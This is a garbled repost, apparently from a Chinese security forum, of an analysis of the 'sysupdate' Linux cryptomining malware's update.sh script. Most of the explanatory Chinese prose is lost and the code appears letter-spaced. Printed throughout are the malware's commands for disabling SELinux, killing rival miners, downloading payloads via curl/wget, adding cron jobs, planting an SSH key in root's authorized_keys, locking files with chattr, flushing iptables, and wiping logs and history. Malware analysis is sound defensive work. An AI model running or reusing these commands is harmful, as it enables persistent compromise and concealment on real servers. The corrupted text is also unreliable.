[16004] 2020-10-24_Linux系统sysupdate挖矿病毒之update.sh脚本分析

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-10-24_Linux系统sysupdate挖矿病毒之update.sh脚本分析 L i n u x s y s u p d a t e u p d a t e . s h   F r e e B u f   2 0 2 0 - 1 0 - 2 4 西 C P U 2 0 2 0 . 0 9 . 1 8   1 0 : 0 0 : 0 1 u p d a t e . s h u p d a t e . s h / e t c / u p d a t e . s h
s e l i n u x 2 > / d e v / n u l l s e l i n u x s s h 使 p s   a u x f k i n s i i n g a w k t a b p r i n t   $ 2 p s   a u x f P I D s e l i u n x s e t e n f o r c e   0   2 > d e v / n u l l e c h o   S E L I N U X = d i s a b l e d   >   / e t c / s y s c o n f i g / s e l i n u x   2 > / d e v / n u l l s y n c   & &   e c h o   3   > / p r o c / s y s / v m / d r o p _ c a c h e s c r o n d i r = ' / v a r / s p o o l / c r o n / ' " $ U S E R " c o n t = ` c a t   $ { c r o n d i r } ` s s h t = ` c a t   / r o o t / . s s h / a u t h o r i z e d _ k e y s `       # s s h t   =   c a t   / r o o t / . s s h / a u t h o r i z e d _ k e y s p s   a u x f | g r e p   k i n s i n g |   a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   a u x f | g r e p   k d e v t m p f s i |   a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   a u x f | g r e p   - v   g r e p | g r e p   " m i n e . m o n e r o p o o l . c o m " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 n e t s t a t   - a n p   |   g r e p   1 8 5 . 7 1 . 6 5 . 2 3 8   |   a w k   ' { p r i n t   $ 7 } '   |   a w k   - F ' [ / ] '   ' { p r i n t   $ 1 } '   |   x a r g s   - I   %   k i l l   - 9   % i f   [   - f   " / u s r / b i n / c u r l "   ]
t h e n e c h o   $ 1 , $ 2 h t t p _ c o d e = ` c u r l   - I   - m   1 0   - o   / d e v / n u l l   - s   - w   % { h t t p _ c o d e }   $ 1 ` i f   [   " $ h t t p _ c o d e "   - e q   " 2 0 0 "   ] t h e n c u r l   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 1   >   $ 2 e l i f   [   " $ h t t p _ c o d e "   - e q   " 4 0 5 "   ] t h e n c u r l   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 1   >   $ 2 e l s e c u r l   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 3   >   $ 2 f i e l i f   [   - f   " / u s r / b i n / c u r "   ] t h e n h t t p _ c o d e   =   ` c u r   - I   - m   1 0   - o   / d e v / n u l l   - s   - w   % { h t t p _ c o d e }   $ 1 ` i f   [   " $ h t t p _ c o d e "   - e q   " 2 0 0 "   ] t h e n c u r   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 1   >   $ 2 e l i f   [   " $ h t t p _ c o d e "   - e q   " 4 0 5 "   ] t h e n c u r   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 1   >   $ 2 e l s e c u r   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 3   >   $ 2 f i e l i f   [   - f   " / u s r / b i n / w g e t "   ] t h e n w g e t   - - t i m e o u t = 1 0   - - t r i e s = 1 0 0   - O   $ 2   $ 1
i f   [   $ ?   - n e   0   ] t h e n w g e t   - - t i m e o u t = 1 0   - - t r i e s = 1 0 0   - O   $ 2   $ 3 f i e l i f   [   - f   " / u s r / b i n / w g e "   ] t h e n w g e   - - t i m e o u t = 1 0   - - t r i e s = 1 0 0   - O   $ 2   $ 1 i f   [   $ ?   - e q   0   ] t h e n w g e   - - t i m e o u t = 1 0   - - t r i e s = 1 0 0   - O   $ 2   $ 3 f i f i p s   a x f   - o   " p i d " | w h i l e   r e a d   p r o c i d         # p i d d o l s   - l   / p r o c / $ p r o c i d / e x e   |   g r e p   / t m p i f   [   $ ?   - n e   1   ] t h e n c a t   / p r o c / $ p r o c i d / c m d l i n e |   g r e p   - a   - E   " s y s g u a r d | u p d a t e . s h | s y s u p d a t e | n e t w o r k s e r v i c e " i f   [   $ ?   - n e   0   ] t h e n k i l l   - 9   $ p r o c i d e l s e e c h o   " d o n ' t   k i l l " f i f i
d o n e p s   a x f   - o   " p i d   % c p u "   |   a w k   ' { i f ( $ 2 > = 4 0 . 0 )   p r i n t   $ 1 } '   |   w h i l e   r e a d   p r o c i d       # P I D c p u 4 0 d o c a t   / p r o c / $ p r o c i d / c m d l i n e |   g r e p   - a   - E   " s y s g u a r d | u p d a t e . s h | s y s u p d a t e | n e t w o r k s e r v i c e " i f   [   $ ?   - n e   0   ]         # $ 0   - n e t h e n k i l l   - 9   $ p r o c i d e l s e e c h o   " d o n ' t   k i l l " f i d o n e c h a t t r   - R   - i   / v a r / s p o o l / c r o n   # - R / v a r / s p o o l / c r o n c h a t t r   - i   / e t c / c r o n t a b c h a t t r   - R   + i   / v a r / s p o o l / c r o n c h a t t r   + i   / e t c / c r o n t a b e c h o   " i   a m   r o o t " e c h o   " g o t o   1 "   > >   / e t c / s y s u p d a t e s c h a t t r   - i   / e t c / s y s u p d a t e * c h a t t r   - i   / e t c / c o n f i g . j s o n * c h a t t r   - i   / e t c / u p d a t e . s h * c h a t t r   - i   / r o o t / . s s h / a u t h o r i z e d _ k e y s * c h a t t r   - i   / e t c / n e t w o r k s e r v i c e t h e n u n l o c k _ c r o n     #
S S H / e t c / c o n f i g . j s o n | s y s u p d a t e | s y s g u a r d u p d a t e . s h / e t c / n e t w o r k s e r v i c e u n l o c k _ c r o n     # e c h o   " * / 3 0   *   *   *   *   s h   / e t c / u p d a t e . s h   > / d e v / n u l l   2 > & 1 "   > >   $ { c r o n d i r } l o c k _ c r o n     # e l s e u n l o c k _ c r o n [ [   $ c o n t   = ~   " u p d a t e . s h "   ] ]   | |   ( c r o n t a b   - l   ;   e c h o   " * / 3 0   *   *   *   *   s h   / e t c / u p d a t e . s h   > / d e v / n u l l   2 > & 1 " )   |   c r o n t a b   - l o c k _ c r o n c h m o d   7 0 0   / r o o t / . s s h / e c h o   > >   / r o o t / . s s h / a u t h o r i z e d _ k e y s c h m o d   6 0 0   r o o t / . s s h / a u t h o r i z e d _ k e y s e c h o   " s s h - r s a   x x x   r o o t @ u 1 7 "   > >   / r o o t / . s s h / a u t h o r i z e d _ k e y s     # f i l e s i z e _ c o n f i g = ` l s   - l   / e t c / c o n f i g . j s o n   |   a w k   ' {   p r i n t   $ 5   } ' ` i f   [   " $ f i l e s i z e _ c o n f i g "   - n e   " $ c o n f i g _ s i z e "   ] t h e n p k i l l   - f   s y s u p d a t e r m   / e t c / c o n f i g . j s o n d o w n l o a d s   $ c o n f i g _ u r l   / e t c / c o n f i g . j s o n   $ c o n f i g _ u r l _ b a c k u p e l s e e c h o   " n o   n e e d   d o w n l o a d " d o w n l o a d s   $ s h _ u r l   / e t c / u p d a t e . s h   $ s h _ u r l _ b a c k u p i f   [   - f   " / e t c / n e t w o r k s e r v i c e "   ]     # / e t c / n e t w o r k s e r v i c e t h e n f i l e s i z e 2 = ` l s   - l   / e t c / n e t w o r k s e r v i c e   |   a w k   ' {   p r i n t   $ 5   } ' ` i f   [   " $ f i l e s i z e 2 "   - n e   " $ s c a n _ s i z e "   ]
s y s u p d a t e | n e t w o r k s e r v i c e | s y s g u a r d r o o t r o o t / e t c / / t m p / t h e n p k i l l   - f   n e t w o r k s e r v i c e r m   / e t c / n e t w o r k s e r v i c e d o w n l o a d s     $ s c a n _ u r l   / e t c / n e t w o r k s e r v i c e   $ s c a n _ u r l _ b a c k u p e l s e e c h o   " n o t   n e e d   d o w n l o a d " f i e l s e d o w n l o a d s   $ s c a n _ u r l   / e t c / n e t w o r k s e r v i c e   $ s c a n _ u r l _ b a c k u p c h m o d   7 7 7   / e t c / s y s u p d a t e i f   [   $ ?   - n e   0   ] t h e n c d   / e t c e c h o   " n o t   r o o t   r u n i n g " s l e e p   5 s . / s y s u p d a t e   & e l s e e c h o   " r o o t   r u n i n g . . . . . " f i c h m o d   7 7 7   / e t c / s y s u p d a t e c h a t t r   + i   / e t c / s y s u p d a t e c h m o d   7 7 7   / e t c / n e t w o r k s e r v i c e c h a t t r   + i   / e t c / n e t w o r k s e r v i c e c h m o d   7 7 7   / e t c / c o n f i g . j s o n
t m p e t c t m p c h a t t r   + i   / e t c / c o n f i g . j s o n c h m o d   7 7 7   / e t c / u p d a t e . s h c h a t t r   + i   / e t c / u p d a t e . s h c h m o d   7 7 7   / r o o t / . s s h / a u t h o r i z e d _ k e y s c h a t t r   + i   / r o o t / . s s h / a u t h o r i z e d _ k e y s e l s e e c h o   " g o t o   1 "   >   / t m p / s y s u p d a t e s c h a t t r   - i   / t m p / s y s u p d a t e * c h a t t r   - i   / t m p / n e t w o r k s e r v i c e c h a t t r   - i   / t m p / c o n f i g . j s o n * c h a t t r   - i   / t m p / u p d a t e . s h * i p t a b l e s   - F     # f i l t e r i p t a b l e s   - X     # f i l t e r 使 i p t a b l e s   - A   O U T P U T   - p   t c p   - - d p o r t   3 3 3 3   - j   D R O P     #   - A :   - p :   - - d p o r t   - j     D R O P i p t a b l e s   - A   O U T P U T   - p   t c p   - - d p o r t   5 5 5 5   - j   D R O P i p t a b l e s   - A   O U T P U T   - p   t c p   - - d p o r t   7 7 7 7   - j   D R O P i p t a b l e s   - A   O U T P U T   - p   t c p   - - d p o r t   9 9 9 9   - j   D R O P i p t a b l e s   - I   I N P U T   - s   4 3 . 2 4 5 . 2 2 2 . 5 7   - j   D R O P   # - I   I N P U T   - s I P s e r v i c e   i p t a b l e s   r e l o a d     # i p t a b l e s p s   a u x f | g r e p   - v   g r e p | g r e p   " s t r a t u m " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 h i s t o r y   - c     # e c h o   >   / v a r / s p o o l / m a i l / r o o t e c h o   >   / v a r / l o g / w t m p e c h o   >   / v a r / l o g / s e c u r e
u p d a t e . s h / e t c s y s u p d a t e s g u a r d / t m p e c h o   >   / v a r / l o g / s e c u r e e c h o   >   / r o o t / . b a s h _ h i s t o r y
, p s   - a u x t o p s y s t e m c t l   s t a t u s   [ p i d ] L s   - l   / p r o c / p i d / e x e c r o n t a b   - r N e t s a t a   - a n p t r m   - r f l i n u x 使 使 l i n u x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则